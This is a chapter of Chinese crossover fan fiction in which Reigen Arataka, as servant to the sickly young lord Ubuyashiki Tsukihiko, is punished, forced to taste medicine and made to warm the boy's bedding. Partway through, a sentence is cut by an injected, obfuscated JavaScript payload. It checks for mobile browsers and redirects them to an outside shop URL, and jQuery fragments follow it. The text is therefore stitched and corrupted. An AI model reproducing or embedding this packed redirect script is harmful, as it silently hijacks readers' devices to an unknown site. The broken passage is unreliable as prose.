医生去外面的厨房里准备熬药了,也正如他说的,产屋敷家提供了一切用具和药材。


    大概是所有医者都梦寐以求的地方,可以施展自己的才华和想法,也会有用不完的资源。


    但对于正在挨训的灵幻新隆,就没这么想了。


    他正跪坐在产屋敷月彦身边,本来以为会是一阵劈头盖脸的怒骂,或者说干脆拖出去和其他侍女和仆人一样抽个几鞭子。


    这样灵幻新隆多少还能心安……假的,他根本不接受!


    这小狼崽子真敢这么干,灵幻新隆半夜就去刨狗洞带着阿鸣一起跑。


    但好在产屋敷月彦小少爷,是个仁慈善良,善解人意……呕……的少爷。


    他正盘腿坐在案几旁,身上穿着也是少见的板板正正。


    黑色的乌帽子严丝合缝的束在头上,身上穿着有宽大袖口和裤脚的白色狩服,此时看起来终于有点小少爷的贵气。


    不过是阴森森的贵气……


    灵幻新隆腹诽了几句,却也乖乖低着头等着少爷发落,但不知道产屋敷月彦此人心里到底在想什么,竟然半天没有动静。


    他的脖子低的都酸了。


    终于,产屋敷月彦终于开口了,他随手把茶杯盖扔到桌上,放出金钱减一的声音。


    “说说吧,这段时间跑哪去了?”


    产屋敷月彦还记得当时的情况,自己只是午睡结束,就看到母亲身旁的侍女跪坐在身边。


    而原本应该乖乖跪着等他的灵幻新隆,却不见踪影。


    即便侍女第一时间告诉他母亲任命灵幻新隆出门十日内寻找医师这回事,但巨大的怒火还是在一瞬间充斥他的脑子。


    对于他的仆人,竟然不用请示他就擅自派走,这个女人到底把他当成什么!


    废物,家畜,还是任由安排的低贱的奴仆?


    产屋敷月彦的怒火控制他想要毁掉目之所及的一切,却还没起来眼前就一阵重影。


    他只能坐在原地不断呼吸,平息心情。


    这具孱弱的身体,甚至连愤怒都无法承受,凭什么,凭什么只有我这么虚弱。


    我拥有才华和天赋,是那些身体健全的废物们全部无法拥有的,如果我能有健康的身体,那我一定……一定比他们强百倍!


    这痛苦怨恨到极致的情绪,在一晚中似乎转化成了产屋敷月彦继续活下去的燃料。


    他不再像之前一样暴躁易怒,反而眼里带着更让人毛骨悚然的诡谲。


    而这副姿态一直维持到灵幻新隆回来,产屋敷月彦终于露出点真正的情绪。


    但只是毫无防备的一瞬间,接着露出的一切又在瞬间收回到壳子里。


    他面色冷漠的等着灵幻新隆回答。


    “我去了之前待着的村子,那里恰好有位熟悉的医者,就是刚刚那位……”


    产屋敷月彦就这么不急不躁看灵幻新隆瞎编,接着才张嘴:


    “他叫什么名字?”


    “……”


    等等!突然问这个!哪怕灵幻新隆一路上一直在和医生对口供,他们俩也完全没对到这句!


    医生的名字难道不就是医生吗!医生还要什么名字!


    灵幻新隆脸上布满汗水,眼神心虚的往一边看,拼命思考这段时间两人有没有聊到这个问题。


    ——完全没有


    他开始瞎扯:


    “小微笑……小笑,小微……对,他叫小微!”


    “小微?”


    “嗯嗯!”


    两人一个真心实意的瞎扯,一个随口问的认真,还真就把这对话进行下去了。


    产屋敷月彦也不在意灵幻新隆到底说的是真话还是瞎扯,他就是想看灵幻新隆在他面前像个鹌鹑一样畏缩又不得不开口的样子。


    “那是谁?”


    他接着把手指向第二个陌生人,这个从头到尾都没开口说过话的小女孩。


    说到重要的事了,灵幻新隆忙不迭开口:


    “大人,这是阿鸣,是医生手下的学徒,用来干点杂货跑跑腿什么,阿鸣,快过来拜见月彦大人。”


    “大人日安。”


    显然,相比较医者,灵幻新隆更在意的人是谁一目了然。


    虽然这种事就算极力隐瞒产屋敷月彦也能一眼看穿,但某个庶民未免也太不加掩饰了。


    还是说……这是故意的?


    故意在他面前露出这样的破绽,用这种拙劣的掩饰让他发笑,以此来作讨好?


    产屋敷月彦看透面前这庶民的念头了,但他根本不吃这套。


    “哼,蠢货,不要在我面前耍这种小心思,以为这样我会宽恕你?”


    灵幻新隆:“?”


    啊,什么,他发现医生的名字是他瞎起的了!


    两个脑回路根本没对上的人就这么莫名其妙聊了半天。


    产屋敷月彦本来以为灵幻新隆已经逃跑了,发誓无论如何掘地三尺也要把人找出来抽筋扒皮。


    但没想到才刚消失三天,人就自己跑回家了……


    挺好的,下雨了还知道回家……


    虽然心里想着绝对不会原谅某个庶民,甚至要让对方狠狠吃个苦头,但是个人也能看出来产屋敷月彦的心情早就没这么糟糕了。


    他轻飘飘的定下了惩罚:


    “这三天内不许吃饭。”


    !!


    好重的惩罚!


    灵幻新隆听到的一瞬间如遭雷劈。


    他来产屋敷家就是为了蹭吃蹭住,这下每天最期待的事要没了,还要24小时贴身伺候刁蛮的少爷,灵幻新隆觉得这差事太苦了。


    尤其为了蹭晚饭,他特地卡在晚饭前赶到产屋敷家。


    灵幻新隆心如死灰的跪坐在地上,产屋敷月彦则是小人得志的在一边欣赏。


    阿鸣想开口请产屋敷大人原谅灵幻新隆,愿意主动克扣自己的两餐。


    但她想到路上某个成年人像解释规则怪谈一样告诉她在产屋敷家要怎么做……


    阿鸣又把这句话憋在心里。


    三人一直维持着诡异的站位直到晚饭时间。


    和端着晚餐的侍女一同出现的,还有最后面笑眯眯的医生,他也端着一碗饭,乍一看跟送饭侍女一样。


    但这一切都跟灵幻新隆灵幻新隆没关系,他忍辱负重的看着晚餐。


    医生最后一个把盘子放在产屋敷月彦面前。


    “大人,请您从今天开始喝药吧,喝满二十天,药就会起效。”


    虽说良药苦口,或者说药越难喝越有效果,但面前还冒着热气的药呈现出一种深褐和墨绿,翻腾中还有一些药渣出现。


    光是看就知道苦极了。


    灵幻新隆在产屋敷月彦身后偷偷探出脑袋观察,本来想看


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112409|195411||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    看少爷吃苦头解气。


    结果刚露出脑袋就产屋敷月彦察觉到,他突然转头,像是想到什么,恶毒开口。


    “你来替我试药。”


    “?”


    你没事吧!这也要我来,你身边已经没人了吗!


    灵幻新隆没想到九九八十一难还没闯完,到这又来一难。


    先不说这个药味道怎么样,瞎喝药也不太行吧?


    他一个年轻力壮的大小伙子……


    灵幻新隆只能把求助神色放到对面的医生身上,希望他能开口说点什么。


    依旧是微妙的三角形坐位,只不过这次变成了不太标准的三角。


    看着一个期盼一个阴沉看着自己的主仆,医生像套了层罩子一样不受影响,他缓缓开口:


    “药需要饭后引用,普通人少量饮入没有影响。”


    “既然这样,你的惩罚就免了,从今天开始给我试药。”


    产屋敷月彦挥挥手,侍女再次端来餐盘跪在灵幻新隆面前。


    看着突然到手的晚饭,他还没反应过来震惊的看着医生。


    医生!我错怪你了,你难道真的是好人!


    飞走的晚饭又回来了,虽然代价是试药,不过医生都说喝一点没影响了……


    灵幻新隆觉得自己作为身强力壮的大小伙子,区区几口药喝不死自己。


    他像试毒一样拿着勺子小心从碗里舀出一点,眼睛一闭一睁就咽进嗓子眼。


    这一口差点给灵幻新隆苦出痛苦面具,呲牙裂嘴的拼命分泌唾液,想把嘴里这经久不散的余味一起咽下去。


    看到灵幻新隆难受,一边的产屋敷月彦心里可算是舒服了,拿过面前巴掌大的碗一饮而尽。


    看表情跟没有味觉一样。


    “拿下去吧。”


    他把碗丢回盘子上,不耐烦的让医生赶紧走。


    灵幻新隆趁机给阿鸣递了个眼神,两人一起恭恭敬敬的离开。


    房间里就只剩下产屋敷月彦和灵幻新隆。


    “你滚过来。”少爷又开始使唤人了。


    晚餐结束,按照产屋敷月彦的病人生活时间,现在已经到了该睡觉的时候。


    灵幻新隆搓搓手准备铺床,被子还没拿出来,听到声音只能挪到少爷身边。


    “大人还有什么吩咐?”


    “把被子给我暖热,手脚老实点。”


    产屋敷月彦指着内屋自己的被子。


    “是……啊?”


    “还要我说第二遍?”


    灵幻新隆还打算等产屋敷月彦睡着之后偷偷去看看阿鸣……这下也没办法看了。


    不知道是不是错觉,总感觉从回来之后少爷就对他严防死守,甚至连离开视线都不允许。


    只能先等等看了。


    灵幻新隆老老实实钻进被窝,用体温速速加热,一边盘算着要不要做个暖水袋,现在天气越来越冷了……


    结果没想到被子还没暖起来,一边的产屋敷月彦突然掀开被子钻进来。


    果然……


    灵幻新隆心情一沉。


    这少爷果然就是盯着自己,连睡梦中都不放过!


    看来接下来的日子一定要小心了。


    不知道人形暖水袋到底在阴谋论些什么,产屋敷月彦在进入被窝后,原本紧皱的眉头轻轻松开。


    还是这样更暖和。